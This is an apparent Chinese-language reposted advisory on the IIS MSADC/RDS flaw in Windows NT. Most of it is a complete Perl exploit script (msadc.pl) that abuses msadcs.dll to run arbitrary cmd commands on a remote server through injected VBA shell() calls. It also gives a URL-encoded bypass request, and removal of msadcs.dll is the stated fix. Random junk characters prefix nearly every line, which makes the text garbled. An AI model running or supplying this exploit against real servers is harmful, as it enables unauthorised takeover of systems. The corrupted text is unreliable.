IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"AnC?c9?-^ z 8SmkL 涉及程序：
FtfKe"qw Microsoft NT server
-xEXN[\S %t" CX5 n 描述：
7!EBH(,z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~M7y* 'oY =F]FP5V 详细：
Q;43[1&3w 如果你没有时间读详细内容的话，就删除:
i]6` LqlO c:\Program Files\Common Files\System\Msadc\msadcs.dll
s/q7.y7n{ 有关的安全问题就没有了。
Yknii B[/ %yW3VL 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
xp }hev^@$ 2( u,SQ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
G IT> L 关于利用ODBC远程漏洞的描述，请参看:
Y&d00 <UV1!2nv* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4W#vP |Lf"6^@yh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
rvbLyv;~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp t>urc :U3kW8;UMP 这里不再论述。
]
2eK YaKeq5%y 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
q_g+Jf
P-D \{Z; :,S /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
uW@oyZUj 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
723bkJ w
V
-QM:
q _wkVwPr #将下面这段保存为txt文件，然后: "perl -x 文件名"
.TND a& }Qip&IN #!perl
5_I->-< #
*W0y: 3dB3 # MSADC/RDS 'usage' (aka exploit) script
2jg- #
% NA9{<I # by rain.forest.puppy
E:JJ3X| #
+cgSC5nR # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
=BSzsH7 # beta test and find errors!
86 W9rR 6:Ch^c+IZ use Socket; use Getopt::Std;
aY'C%^h] getopts("e:vd:h:XR", \%args);
)}D'<^=#T _aFl_\3> print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rz wF~-m + Oiz ,w7LRh if (!defined $args{h} && !defined $args{R}) {
Ljxz.2LGr print qq~
tyXuG< Usage: msadc.pl -h <host> { -d <delay> -X -v }
CF zNwgv]z -h <host> = host you want to scan (ip or domain)
\r /ya <5 -d <seconds> = delay between calls, default 1 second
z3&]%Q& -X = dump Index Server path table, if available
M dZ&A}S -v = verbose
\K@'Z -e = external dictionary file for step 5
ej4W{IN~: PP;}e Or a -R will resume a command session
!UG
7Uer x }\64 ~; exit;}
b$ve sJ kbTm^y" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f ,V <;s if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@ezH 'y-v if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\m7-rV6r if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Qy^1*j<@& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4L ;% h if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
WHsgjvh" tBq
nf v if (!defined $args{R}){ $ret = &has_msadc;
p7veQ`yNc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Mr;E<Lj ^K OMWbZ>jB print "Please type the NT commandline you want to run (cmd /c assumed):\n"
])|d"[ur= . "cmd /c ";
L R.Hh $in=<STDIN>; chomp $in;
u.d).da $command="cmd /c " . $in ;
[5zx17' -yE/f2PgQ if (defined $args{R}) {&load; exit;}
i@P)a'W_ [`{Z}q& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
tk!t
Y8j &try_btcustmr;
7ePqmB<.
U*( izD print "\nStep 2: Trying to make our own DSN...";
mQCeo}7N5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&<wuJ%'>)Z NLUT#!Gr print "\nStep 3: Trying known DSNs...";
Xf02"PXC &known_dsn;
+W:= e,= Wc,~ { print "\nStep 4: Trying known .mdbs...";
w .H%R-Be &known_mdb;
OUeyklw RIb4!!',c if (defined $args{e}){
)-0kb~;| print "\nStep 5: Trying dictionary of DSN names...";
$nb[G$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3a?o3= @6{~05.p
print "Sorry Charley...maybe next time?\n";
cxA ^:3 exit;
gZLP\_CL IhA5Wt0j ##############################################################################
:p]'32FA! gC ioq. sub sendraw { # ripped and modded from whisker
4SlADvGl sleep($delay); # it's a DoS on the server! At least on mine...
: YXX8|> my ($pstr)=@_;
AG!w4Ky` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Cnbz=z die("Socket problems\n");
:bz}c48% if(connect(S,pack "SnA4x8",2,80,$target)){
[z9 `)VIe select(S); $|=1;
"}pNe"ok print $pstr; my @in=<S>;
\hBG<nH{0 select(STDOUT); close(S);
|?qquD 4= return @in;
}._eIx" } else { die("Can't connect...\n"); }}
A6:e s_ k"NVV$; ##############################################################################
DE%KW:Hug ~-EOjX(X'E sub make_header { # make the HTTP request
K[ (NTp $E my $msadc=<<EOT
<F}_ /q1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5Yl <h)1 User-Agent: ACTIVEDATA
RoU 55 mL Host: $ip
.q9
$\wM/ Content-Length: $clen
7w'wjX- Connection: Keep-Alive
1#.>a$> Z @^9PQG$ ADCClientVersion:01.06
J3n-`k 8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
]}U*_ rM: JsDpy{q --!ADM!ROX!YOUR!WORLD!
W#KpPDgZE Content-Type: application/x-varg
`J zp Sw Content-Length: $reqlen
@&X|5p"[g _59huC. EOT
g=QDu7Ux ; $msadc=~s/\n/\r\n/g;
c|M6 <} return $msadc;}
+p R[U4$ e6d<dXx ##############################################################################
U-IpH+E kL$!E9 sub make_req { # make the RDS request
'R
c,Mq' my ($switch, $p1, $p2)=@_;
>N]7IU[ - my $req=""; my $t1, $t2, $query, $dsn;
K P t5=a pgO QIzu if ($switch==1){ # this is the btcustmr.mdb query
i (iXD $query="Select * from Customers where City=" . make_shell();
nHm}zOLc $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|962G1. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!{ ^PO <9 =K6($|'= elsif ($switch==2){ # this is general make table query
b*`lk2oMa/ $query="create table AZZ (B int, C varchar(10))";
S ,Xnzrz $dsn="$p1";}
w)Q0_2p. #)C[5?{SNq elsif ($switch==3){ # this is general exploit table query
||;hci O $query="select * from AZZ where C=" . make_shell();
<$X3Hye $dsn="$p1";}
BZR:OtR^ nPye,"A Ol elsif ($switch==4){ # attempt to hork file info from index server
CitDm1DXt/ $query="select path from scope()";
_NMm/]mN / $dsn="Provider=MSIDXS;";}
o Z!m MO n elsif ($switch==5){ # bad query
8P 1=[i] $query="select";
',:*f8Jk $dsn="$p1";}
`[W[H(AjQ P*I}yPeb $t1= make_unicode($query);
EL (nDv $t2= make_unicode($dsn);
1IZ3=6 $req = "\x02\x00\x03\x00";
MBqt &_?K $req.= "\x08\x00" . pack ("S1", length($t1));
JwAYG 5W $req.= "\x00\x00" . $t1 ;
f}x.jxY? $req.= "\x08\x00" . pack ("S1", length($t2));
H^s<{E0< $req.= "\x00\x00" . $t2 ;
qYlhlH D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
T~Gvp0r}h return $req;}
U-R6xxPZ `QyO`y=?[Y ##############################################################################
{&\jW!&n =5kY6%E7c sub make_shell { # this makes the shell() statement
Mz~M3$$9n return "'|shell(\"$command\")|'";}
Oo A|8!CFa aFS, GiB ##############################################################################
Q$="_y2cTA hM{{\yZ S sub make_unicode { # quick little function to convert to unicode
U c@Ao: my ($in)=@_; my $out;
4`!Z$kt for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Jo@|"cE= return $out;}
no<
^f]33 @>W(1mRi ##############################################################################
Z @]e{zO .
r[Hu40p sub rdo_success { # checks for RDO return success (this is kludge)
+f@U6Vv my (@in) = @_; my $base=content_start(@in);
rEv$+pP if($in[$base]=~/multipart\/mixed/){
*a #rM"6P return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4c l\^ yD return 0;}
0@H|n^Md# &NH$nY.r ##############################################################################
m]5Cq6 F.w 5S!5Q sub make_dsn { # this makes a DSN for us
.HkL2m my @drives=("c","d","e","f");
?TU }~} print "\nMaking DSN: ";
t.`@{R$hoA foreach $drive (@drives) {
`bZ/haU}A print "$drive: ";
kw"SwdP5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
>g+?Oebgw "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Y#u} tE
d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
%<an9WMF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
*Df,Ijh $ return 0 if $2 eq "404"; # not found/doesn't exist
\E% 'Y if($2 eq "200") {
E
,|xJjh foreach $line (@results) {
)6|yb65ZUX return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rL+!tH } return 0;}
]3K hgK%c8 CS==A57I ##############################################################################
l i0i" ]>~)<
sub verify_exists {
M;p
em< my ($page)=@_;
IHJ=i- my @results=sendraw("GET $page HTTP/1.0\n\n");
oAP b*;} return $results[0];}
/4`
0?/V &!/}Qp ##############################################################################
^(|vsFzn `"&d a#N] sub try_btcustmr {
h $L/<3oP6 my @drives=("c","d","e","f");
;uw Ryd my @dirs=("winnt","winnt35","winnt351","win","windows");
] cGA~d A7%:05 foreach $dir (@dirs) {
`eIenA print "$dir -> "; # fun status so you can see progress
rmE" rf foreach $drive (@drives) {
@> E2?C V print "$drive: "; # ditto
2ioQ b`= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\Dd-Xn_b $reqlenlen=length( "$reqlen" );
{
T-'t/0e( $clen= 206 + $reqlenlen + $reqlen;
Gcig*5 BbgnqzU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N1|$$9G+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
++V=s\d7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+;#Y]xy: 7tcPwCc{ ##############################################################################
Kd= %tNp ? P(
ZA sub odbc_error {
BI $ my (@in)=@_; my $base;
m3mp/g.> my $base = content_start(@in);
!!`!|w if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
't6V:X $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/)4I|"}R0I $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_g~qu
[1 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yp66{o
return $in[$base+4].$in[$base+5].$in[$base+6];}
TJ1+g
\ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
M
$Es% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.8P.)% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JvT"bZk( o }(1JaG ##############################################################################
~fT_8z pb$~b\s]= sub verbose {
qU#BJON]BR my ($in)=@_;
3 AsT return if !$verbose;
z&{5;A}Q@ print STDOUT "\n$in\n";}
rxy&spX U5He? ##############################################################################
Q)LM-ZJKQ hED=u/ql[ sub save {
<j 5NFJ9 my ($p1, $p2, $p3, $p4)=@_;
Oh'Y0_oB> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%7gkNa print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,{LG4qvP close OUT;}
k&. Jk
B" US%^#D q ##############################################################################
DXa- rk8 ~R &;v3 sub load {
#_(jS+lP?k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5J Lu2P open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#:^YI
c @p=<IN>; close(IN);
-$WYj " $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
L3 0$%G| $target= inet_aton($ip) || die("inet_aton problems");
e}.^Tiwd] print "Resuming to $ip ...";
k3 1I ysh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^ 8@Iyh if($p[1]==1) {
|'{zri|A" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
aMvI?y { $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7
<Q5;J&; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)I$q 5%q8 if (rdo_success(@results)){print "Success!\n";}
w );6K[+; else { print "failed\n"; verbose(odbc_error(@results));}}
*
;C y=J+ elsif ($p[1]==3){
ltD3 7QZQ if(run_query("$p[3]")){
3l3'bw2 print "Success!\n";} else { print "failed\n"; }}
YJl("MZ elsif ($p[1]==4){
61j I if(run_query($drvst . "$p[3]")){
[fKUyIY_ print "Success!\n"; } else { print "failed\n"; }}
!V,{_(LT exit;}
{FG| \nPw %LZ({\5K#f ##############################################################################
e&qh9mlE ^4`Px/& sub create_table {
=@8H"&y` my ($in)=@_;
* C6a?] $reqlen=length( make_req(2,$in,"") ) - 28;
i![dPM $reqlenlen=length( "$reqlen" );
(>I`{9x>6 $clen= 206 + $reqlenlen + $reqlen;
l+g9 5m jP my @results=sendraw(make_header() . make_req(2,$in,""));
pTyi!:g3W return 1 if rdo_success(@results);
3Bx :Ntx< my $temp= odbc_error(@results); verbose($temp);
!ZI7&r`u; return 1 if $temp=~/Table 'AZZ' already exists/;
;x8k[p~2 return 0;}
Wxbq)Z[V OLvcivf ##############################################################################
*r$+&8V\n _! ?Hu/z o sub known_dsn {
GR"Ea s.$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Sf,R ^9#| my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)h8\u_U "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
=pk)3<GwF "banner", "banners", "ads", "ADCDemo", "ADCTest");
<@Fy5k-%. v !FMs< foreach $dSn (@dsns) {
{s_+?< l print ".";
Gsc\/4Wx next if (!is_access("DSN=$dSn"));
Z+St B15 if(create_table("DSN=$dSn")){
3:f[gV9K print "$dSn successful\n";
r@o6voX if(run_query("DSN=$dSn")){
0`I-2M4F*Q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Iy.rqc/86 print "Something's borked. Use verbose next time\n";}}} print "\n";}
-p E(_ pOrWg@<\L ##############################################################################
Xe^Cn
R z8J."27N D sub is_access {
f uB) qt!E my ($in)=@_;
CCX8>09 $reqlen=length( make_req(5,$in,"") ) - 28;
V86Xg: ?7 $reqlenlen=length( "$reqlen" );
ocyb5j $clen= 206 + $reqlenlen + $reqlen;
His*t1o8'O my @results=sendraw(make_header() . make_req(5,$in,""));
'D%w|Pe?Q my $temp= odbc_error(@results);
= 07] z@s verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4L73]3& return 0;}
bug
Ot7 gt7VxZ ##############################################################################
]Bm>-*@0N !xKJE:4/,m sub run_query {
W. 1As{ my ($in)=@_;
C^z\([k0er $reqlen=length( make_req(3,$in,"") ) - 28;
4j!]:r a $reqlenlen=length( "$reqlen" );
X K5<Tg $clen= 206 + $reqlenlen + $reqlen;
>Z;jY* my @results=sendraw(make_header() . make_req(3,$in,""));
*\ o/q[ return 1 if rdo_success(@results);
1<h >B: my $temp= odbc_error(@results); verbose($temp);
Vm |Y$ C return 0;}
{"
4e+y ad_`x ##############################################################################
2]c {P\ ee/&/Gt sub known_mdb {
W},b{ NT my @drives=("c","d","e","f","g");
ej O}t:}P my @dirs=("winnt","winnt35","winnt351","win","windows");
zP;cTF(C my $dir, $drive, $mdb;
R i 'L my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$DP&a1'g Na\WZSu'" # this is sparse, because I don't know of many
atW' my @sysmdbs=( "\\catroot\\icatalog.mdb",
Go&D[# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
D>!6,m2 "\\system32\\certmdb.mdb",
" sgjWo6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P/ oX DI8 tWdhDt8$& my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%,iIpYx "\\cfusion\\cfapps\\forums\\forums_.mdb",
62> zt2= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
P\&! ] "\\cfusion\\cfapps\\security\\realm_.mdb",
KHDZ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
a@pz*e "\\cfusion\\database\\cfexamples.mdb",
)kJH5/ "\\cfusion\\database\\cfsnippets.mdb",
0 'r%,0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
OGrB UP "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
L}yyaM) "\\cfusion\\brighttiger\\database\\cleam.mdb",
gBf 4' s "\\cfusion\\database\\smpolicy.mdb",
$) 5Bf3P0 "\\cfusion\\database\cypress.mdb",
c=6Q%S "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RuG-{NF{F "\\website\\cgi-win\\dbsample.mdb",
tyDY'W\] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
yt+}K)Hz "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
oQ7]= | ); #these are just
zLD| /` foreach $drive (@drives) {
9 F^;! foreach $dir (@dirs){
A`u$A9[ foreach $mdb (@sysmdbs) {
'?Jxt:< print ".";
f):~8_0b if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R4<lln:[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
YOAn4]j if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
c:l]=O print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
sK 2
e& } else { print "Something's borked. Use verbose next time\n"; }}}}}
K$
v"Uk vLO& Lpv foreach $drive (@drives) {
/"ymZI!k\ foreach $mdb (@mdbs) {
F#{gfh print ".";
(Bo bB]~a if(create_table($drv . $drive . $dir . $mdb)){
;p ]y)3 print "\n" . $drive . $dir . $mdb . " successful\n";
w&BGJYI if(run_query($drv . $drive . $dir . $mdb)){
E&B{5/rv print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
to6;?uC+|i } else { print "Something's borked. Use verbose next time\n"; }}}}
z\/5 3Sy< }
6TH!vuQ1( .]|Zf!>}s ##############################################################################
wVq\FY% !?[oIQ)h sub hork_idx {
U4N h print "\nAttempting to dump Index Server tables...\n";
!eJCM`cp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
^I] {7$6^ $reqlen=length( make_req(4,"","") ) - 28;
L "<B;u5pM $reqlenlen=length( "$reqlen" );
fRm}S>Nibb $clen= 206 + $reqlenlen + $reqlen;
p[WX'M0f my @results=sendraw2(make_header() . make_req(4,"",""));
#~ Q8 M*~@ if (rdo_success(@results)){
WjMS5^ _ my $max=@results; my $c; my %d;
OSzjK7: for($c=19; $c<$max; $c++){
2BzqY`O $results[$c]=~s/\x00//g;
c0 WFlj9b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
y@wF_WX2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{[(pWd%J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
j|e[s ? d $d{"$1$2"}="";}
QT#6'>&7-b foreach $c (keys %d){ print "$c\n"; }
G*\h\ @ } else {print "Index server doesn't seem to be installed.\n"; }}
<1&Ke <3hA! $o~ ##############################################################################
!~lW3 2*U.^]~"{ sub dsn_dict {
yZJ*dadAr open(IN, "<$args{e}") || die("Can't open external dictionary\n");
m h;X~.98 while(<IN>){
Icp0A\L@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
:[M[( next if (!is_access("DSN=$dSn"));
%McO6.M@ if(create_table("DSN=$dSn")){
4(vyp.f print "$dSn successful\n";
0p fnV% if(run_query("DSN=$dSn")){
cbKL$| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!a x;5 @J print "Something's borked. Use verbose next time\n";}}}
^t' 3 rft print "\n"; close(IN);}
&k
T"oK F3ZxhkF ##############################################################################
J -Qh/d%] S:Tm23pe sub sendraw2 { # ripped and modded from whisker
' eO/PnYW sleep($delay); # it's a DoS on the server! At least on mine...
sa1mC my ($pstr)=@_;
v@G4G*x\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|
W#~F&{] die("Socket problems\n");
OYf{?-QD if(connect(S,pack "SnA4x8",2,80,$target)){
#/j ={*- print "Connected. Getting data";
Fu8 7fVi/\ open(OUT,">raw.out"); my @in;
}gsO&g"8 select(S); $|=1; print $pstr;
"u u)2Xe while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
i ilyw_$H close(OUT); select(STDOUT); close(S); return @in;
|Vx~fK S\ } else { die("Can't connect...\n"); }}
{@M14)-x>_ FQf # * ##############################################################################
Xy#V Q{! JZ` L% sub content_start { # this will take in the server headers
u9![6$R my (@in)=@_; my $c;
Y~oT)wTU for ($c=1;$c<500;$c++) {
Rq7p 29w if($in[$c] =~/^\x0d\x0a/){
'=} Y2?( if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ohl} X 1 else { return $c+1; }}}
/~}_h O$S return -1;} # it should never get here actually
~SV Q;U)- /aUFc '5 ##############################################################################
Z|^MGyn *kaJ*Ti-/ sub funky {
%OI4a5V*l my (@in)=@_; my $error=odbc_error(@in);
BV9 *s if($error=~/ADO could not find the specified provider/){
xaXV ^ZM3 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
MWq$AK] exit;}
D6!t VdnVe if($error=~/A Handler is required/){
jXEGSn print "\nServer has custom handler filters (they most likely are patched)\n";
I$ N7pobh exit;}
k]I*:'178 if($error=~/specified Handler has denied Access/){
'\*A"8; h print "\nServer has custom handler filters (they most likely are patched)\n";
k)E ;( exit;}}
8wi A fkW ( Dt, ##############################################################################
B5Va%?Wg?H Kp_ jy.e7& sub has_msadc {
}(=ml7 )v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
GqjO>v fy my $base=content_start(@results);
ZBj6KqfST% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Js}tZ\+P75 return 0;}
0|2%# E + x_ wYv ########################
y'rN5J:l ?@a$!_ {v+a!#{c7 解决方案：
*4#on> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
[&n| \! 2、移除web 目录: /msadc
